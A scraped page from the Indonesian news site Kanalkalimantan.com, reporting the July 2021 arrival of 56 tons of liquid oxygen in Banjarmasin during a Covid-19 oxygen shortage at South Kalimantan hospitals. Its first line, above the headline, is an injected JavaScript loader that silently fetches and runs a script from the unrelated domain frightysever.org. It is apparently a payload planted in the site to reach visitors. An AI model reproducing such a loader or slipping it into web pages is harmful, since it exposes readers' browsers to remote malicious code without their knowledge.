(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. 56 Ton Liquid Oksigen Tiba di Pelabuhan Trisakti, Pasok Kebutuhan Rumah Sakit


KANALKALIMANTAN.COM, BANJARMASIN – Di tengah kondisi sejumlah rumah sakit di Kalsel yang mulai kehabisan oksigen, sebanyak 56 ton liquid oksigen tiba di Pelabuhan Trisakti Banjarmasin, Minggu (25/7/2021) malam. Oksigen tersebut nantinya untuk memasok kebutuhan rumah sakit rujukan pasien Covid-19 di Kalsel.

Kedatangan 56 ton liquid oksigen yang diangkut kapal tersebut, disambut oleh Pj Gubernur Kalsel Safrizal ZA. Pada kesempatan Safrizal mengatakan, oksigen itu nantinya untuk memenuhi pasokan sejumlah rumah sakit yang sudah mulai krisis.

Sebelumnya, sejumlah warga serta rumah sakit mengaku kesulitan mendapatkan pasokan oksigen. Di antaranya RS Ratu Zalecha Martapura dan RSD Idaman Banjarbaru yang menyatakan untuk sementara tidak menerima pasien baru rawat inap yang memerlukan oksigen karena keterbatasan stok.

Pantauan Kanalkalimantan.com di sejumlah lokasi, Minggu (25/7/2021), menyatakan stok oksigen bahkan sudah kosong mulai kemarin.

 

 

Baca juga: GENTING. Stok Oksigen Kalsel Menipis, RS Ratu Zalecha Tak Terima Pasien Baru Rawat Inap

M Afri Yandi alias Edak, seorang distributor oksigen dari PT Samator mengatakan kelangkaan oksigen di Banjarbaru.

“Masih kosong dan nggak tahu kapan datangnya lagi,” ujarnya kepada Kanalkalimantan.com saat dihubungi sore tadi.

“Jangankan di tempat penjualan kayak kami, di pabrik saja sudah banyak tabung yang kosong,” ucap Edak.

“Tabungnya ya segitu aja jumlahnya, liquid-nya terbatas. Tabungnya nggak nambah lagi di pabrik, soalnya udah nggak ngejualin lagi,” tambahnya.

Terkait kondisi ini juga dialami sejumlah rumah sakit. Di antaranya RS Ratu Zalecha Martapura yang mengatakan sementara tidak menerima pasien rawat inap baru yang memerlukan oksigen.

Baca juga: BREAKING NEWS. Krisis Oksigen, RSD Idaman Juga Tak Terima Pasien Baru yang Perlu Oksigen!  

Persoalan kelangkaan oksigen di Kalsel juga menjadi perhatian serius Ketua Komisi IV DPRD Kalsel HM Lutfi Saifuddin. Ia mengatakan, saat ini Kalsel dalam kondisi genting di tengah banyak persoalan.

“Kita mengalami kelangkaan oksigen, banyak nakes (tenaga kesehatan) yang terpapar dan perlu perawatan, ambulan jenazah masih kurang, tim pemulasaran jenazah kurang, ICU dan ruang isolasi sudah penuh, parahnya lagi belum adanya pencairan tunjangan bagi para nakes,” tegasnya kepada Kanalkalimantan.com, Minggu (25/7/2021).

Terkait berbagai persoalan yang dihadapi saat ini, Lutfi akan segera meminta penjelasan Pemprov terkait langkah apa saja yang secara kongkret telah dilakukan. (Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

2 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

3 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

4 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

5 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

8 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

9 jam ago

This website uses cookies.